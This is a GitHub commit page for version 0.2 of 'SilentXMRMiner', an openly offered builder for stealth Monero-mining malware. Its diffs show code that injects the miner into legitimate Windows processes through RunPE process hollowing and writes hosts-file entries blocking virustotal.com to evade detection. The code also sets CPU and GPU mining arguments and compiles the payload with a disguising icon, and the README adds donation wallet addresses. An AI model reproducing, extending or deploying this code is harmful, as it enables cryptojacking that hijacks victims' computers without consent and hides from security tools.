Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Commit

Permalink
Updated to v0.2
Browse files Browse the repository at this point in the history
Added more injection prccess choices
Added Max CPU choice
  • Loading branch information
UnamSanctam committed Aug 5, 2019
1 parent 6d93f2e commit 059a91f
Show file tree
Hide file tree
Showing 22 changed files with 330 additions and 154 deletions.
13 changes: 11 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://i.imgur.com/Q581tsw.png">

# SilentXMRMiner v0.1 - Based on Lime Miner v0.3
# SilentXMRMiner v0.2 - Based on Lime Miner v0.3


## Main Features
Expand All @@ -10,7 +10,7 @@

* Codedom - No need for external libraries to compile

* Injection - Hide payload behind a legit process "explorer.exe"
* Injection - Hide payload behind another process

* CPU & GPU Mining - Can mine on Both CPU and GPU (Nvidia & AMD)

Expand All @@ -23,6 +23,13 @@ To open project you need:

2- This repository

## Changes

# v0.2 (05/08/2019)
* Added more injection prccess choices
* Added Max CPU choice
# v0.1 (03/08/2019)
* Inital release

## Author

Expand All @@ -48,3 +55,5 @@ This project is licensed under the MIT License - see the [LICENSE](/LICENSE) fil
## Donate

XMR: 4Aw8Echp2Hrhc5ussZ5cX1bKS6AFJUqFMJH9373M819NCLMVs4DctwGgtTg1ixc8oqVhZNeKCSTS776xoihXmX8SNYx7vtv
BTC: 38Zs9ScPSWNm1DPFcsnkWgJBXtnEjxnuSo
ETH: 0x00863B87B5b4f044A19865c756075450Adb20dbA
306 changes: 183 additions & 123 deletions SilentXMRMiner/Form1.Designer.vb

Large diffs are not rendered by default.

115 changes: 115 additions & 0 deletions SilentXMRMiner/Form1.resx
Original file line number Diff line number Diff line change
Expand Up @@ -163,6 +163,121 @@
DdwEP4CrAP1CO4Ym0uaDZVthMUh9ij4TXgftda6iFIFunFwB/f9A1Q8xcDEPLgXNJv4NrkLFQma/CzfA
/jB4/7C/l6Igm4Ju/NwIuvQLPVX9Cm/BnbAYtqvkub1XomBrgd43FsKpcBnInHvgAdB5+0G4D26BK+EM
GIddYO3Sf3Cq1U/NmPEfeeV9dBhwNKoAAAAASUVORK5CYII=
</value>
</data>
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAAAAAAAEAIADQGQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAGZdJ
REFUeNrt3XuUHGWZx/Hv0zMJJtxvBhQEBYYAy80DKiwggiJkqkMSRLygomsU0sMdcRV2vbCrKILuSoej
ogeOsqKihkxNVOQioiQgl0WEAwOaiEAAYXOBAObSz/5RPaGZ6enpW9X7VtXzOWcOnO6e6ac69fz6raq3
qsAYY4wx+SOuCzDdpWcgbKAHCr2gPShTEZ0KTIXCVKAH1V4K9KJUUDYgsgH4B1ReBF5C5QWEtSjrEd3A
VDbIJa6XzMTBAiBltCS9wKbALtWfnar/fR2wA7A9sDWwBbA50NvmW70EPA+sBp4DngaeApYDj1V//gw8
g+hLcjkV15+NaZ0FgKd0HgVEtgH+Cdgb2Kf68wbg9cBk1zVWvQA8ATwEPAw8APwv8BdU18h81HWBZnwW
AB7QAUBlS6IGfytwCLAf8Eb8afRWrQaGgbuAO4E7gD9LWf/hujDzCgsAR7QkWxI1+xHVnwOBzVzXFeci
E20+3An8FrgJeEjKutZ1YXlmAZAQLdEDsifQDxwDHAxs6boulx8J8DhwK/AL4GYp61Oui8obC4AYaUkm
EzX6HGAGsAfQ47ouT71EtLmwELieij4qV9j+g7hZAHSZDkgvyluAk4BZwM7Y59yqdUQ7En8C/IRJuky+
4bqkbLIVswv0VKBH9gBOBt4P7I59tt2yFrgduBphgVyuK10XlCW2knZAS4UpoLOBjwOHAZNc15RxK4Gf
AleieocdYuycBUAbtCS7Ap8EPkw0AcckqwLcA8wHfixlXeO6oLSyAGiSno5QkUOB04m27TdxXZMBotmJ
VwJXSFmfdF1M2lgATEBPpYceOQ74FNEwv+C6JlPXGuD7wGVU5BG5wmYmN8MC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Z57Fvg18DNV
vXFoaGil64KyzgIgIUEQbAW8nehOx+8iurNR3vcZrAeGgRuAIVVdPDQ0tMZ1UXliAeBAf39/r4hMJwqE
I4n2H+xI9v89KkRn4d0O3ALcoqpLs3B9/bTK+gqXCkEQbALsCby15mcPYBPXtXXoeaJv+DuBxcASVV02
NDS0znVhJmIB4KHqiUlbE52LsB+wf/XnDcA0/JuEtJ7oCrqPAvcDf6z+DFcqlVWLFi1yXZ8ZhwVAigRB
MJnoUue7EY0YdgFeTxQMOxEdftwKmNLFt1XgBaKJNyuAJ4C/Eg3llxE1/VJVXW3f7OljAZARM2fOlEql
MgmYLCKbqur2REcdNgc2JZqxuAnR1ZF7ia6LWCH69l4PrANeJhq2r6n+dwXRnvmXgXUism5wcND1ohpj
jDHGGGOMac//A/BqJPu+FzCEAAAAAElFTkSuQmCC
</value>
</data>
</root>
8 changes: 6 additions & 2 deletions SilentXMRMiner/Form1.vb
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@
End Try

Try
Dim path As String = "C:\Windows\System32\Drivers\Etc\Hosts"
Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\System32\drivers\etc\hosts"
If IO.File.Exists(path) AndAlso Not IO.File.ReadAllText(path).Contains("virustotal") Then

Dim appendText As String = "127.0.0.1 https://www.virustotal.com" + Environment.NewLine + "127.0.0.1 http://www.virustotal.com" + Environment.NewLine + "127.0.0.1 www.virustotal.com" +
Expand Down Expand Up @@ -65,6 +65,7 @@

Try
If txtLog.InvokeRequired Then : txtLog.Invoke(Sub() txtLog.ResetText()) : Else : txtLog.ResetText() : End If
Dim InjectionTarget = txtInjection.Text.Split(" ")
Dim Source = My.Resources.Program
txtLog.Text = txtLog.Text.Insert(0, "Starting..." + vbNewLine)
Source = Replace(Source, "#dll", Resources_dll)
Expand All @@ -76,6 +77,9 @@
Source = Replace(Source, "#URL", txtPoolURL.Text)
Source = Replace(Source, "#PWD", txtPoolPassowrd.Text)
Source = Replace(Source, "#KEY", AESKEY)
Source = Replace(Source, "#MaxCPU", txtMaxCPU.Text.Replace("%", ""))
Source = Replace(Source, "#InjectionTarget", InjectionTarget(0))
Source = Replace(Source, "#InjectionDir", InjectionTarget(1).Replace("(", "").Replace(")", "").Replace("%WINDIR%", Environment.GetFolderPath(Environment.SpecialFolder.Windows)))


txtLog.Text = txtLog.Text.Insert(0, "Adding injection " + txtInjection.Text + vbNewLine)
Expand Down Expand Up @@ -104,7 +108,7 @@

End If

If chkIcon.Checked Then
If chkIcon.Checked And txtIconPath.Text IsNot "" Then
Codedom.Compiler(OutputPayload, Source, Resources_Parent, txtIconPath.Text)
Else
Codedom.Compiler(OutputPayload, Source, Resources_Parent, Nothing)
Expand Down
6 changes: 3 additions & 3 deletions SilentXMRMiner/My Project/AssemblyInfo.vb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ Imports System.Runtime.InteropServices
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("Silent XMR Miner Builder")>
<Assembly: AssemblyCopyright("Copyright © 2018")>
<Assembly: AssemblyCopyright("Copyright © 2019")>
<Assembly: AssemblyTrademark("")>

<Assembly: ComVisible(False)>
Expand All @@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>

<Assembly: AssemblyVersion("0.1.0.0")>
<Assembly: AssemblyFileVersion("0.1.0.0")>
<Assembly: AssemblyVersion("0.0.2.0")>
<Assembly: AssemblyFileVersion("0.0.2.0")>
4 changes: 2 additions & 2 deletions SilentXMRMiner/My Project/app.manifest
Original file line number Diff line number Diff line change
Expand Up @@ -50,11 +50,11 @@
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->

<application xmlns="urn:schemas-microsoft-com:asm.v3">
<!--<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
</application>
</application>-->

<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
<!--
Expand Down
10 changes: 4 additions & 6 deletions SilentXMRMiner/Resources/Program.vb
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,7 @@ Public Class Program
Public Shared Sub Run(ByVal PL As Byte(), ByVal arg As String, ByVal buffer As Byte())
'Credits gigajew for RunPE https://github.com/gigajew/WinXRunPE-x86_x64
Try
Assembly.Load(PL).GetType("Project1.Program").GetMethod("Load", BindingFlags.Public Or BindingFlags.Static).Invoke(Nothing, New Object() {buffer, "C:\Windows\explorer.exe", arg})
Assembly.Load(PL).GetType("Project1.Program").GetMethod("Load", BindingFlags.Public Or BindingFlags.Static).Invoke(Nothing, New Object() {buffer, "#InjectionDir\#InjectionTarget", arg})
Catch ex As Exception
End Try
End Sub
Expand All @@ -87,7 +87,7 @@ Public Class Program
On Error Resume Next
Dim objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & Environment.UserDomainName & "\root\cimv2")
Dim colProcess = objWMIService.ExecQuery("Select * from Win32_Process")
Dim wmiQuery As String = String.Format("select CommandLine from Win32_Process where Name='{0}'", "explorer.exe")
Dim wmiQuery As String = String.Format("select CommandLine from Win32_Process where Name='{0}'", "#InjectionTarget")
Dim searcher As Management.ManagementObjectSearcher = New Management.ManagementObjectSearcher(wmiQuery)
Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
For Each retObject As Object In colProcess
Expand All @@ -103,20 +103,18 @@ Public Class Program
Dim xmr As Byte() = Nothing

If GetGPU.ToLower.Contains("nvidia") Then

If IO.Directory.Exists("C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\") Then
Args = "--cuda-bfactor=12 --cuda-bsleep=100"
xmr = GetTheResource("#nvidia")
Else
Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
Args = "--max-cpu-usage=#MaxCPU"
xmr = GetTheResource("#cpu")
End If

ElseIf GetGPU.ToLower.Contains("amd") Then
Args = "--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8"
xmr = GetTheResource("#amd")
Else
Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
Args = "--max-cpu-usage=#MaxCPU"
xmr = GetTheResource("#cpu")
End If

Expand Down
4 changes: 3 additions & 1 deletion SilentXMRMiner/Silent XMR Miner Builder.vbproj
Original file line number Diff line number Diff line change
Expand Up @@ -135,7 +135,9 @@
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<None Include="My Project\app.manifest" />
<None Include="My Project\app.manifest">
<SubType>Designer</SubType>
</None>
<None Include="Resources\Program.vb" />
<Compile Include="Theme.vb">
<SubType>Component</SubType>
Expand Down
Binary file modified SilentXMRMiner/bin/Debug/Silent XMR Miner Builder.exe
Binary file not shown.
Binary file modified SilentXMRMiner/bin/Debug/Silent XMR Miner Builder.pdb
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file modified SilentXMRMiner/obj/Debug/Silent XMR Miner Builder.exe
Binary file not shown.
Binary file modified SilentXMRMiner/obj/Debug/Silent XMR Miner Builder.pdb
Binary file not shown.
Loading

0 comments on commit 059a91f

Please sign in to comment.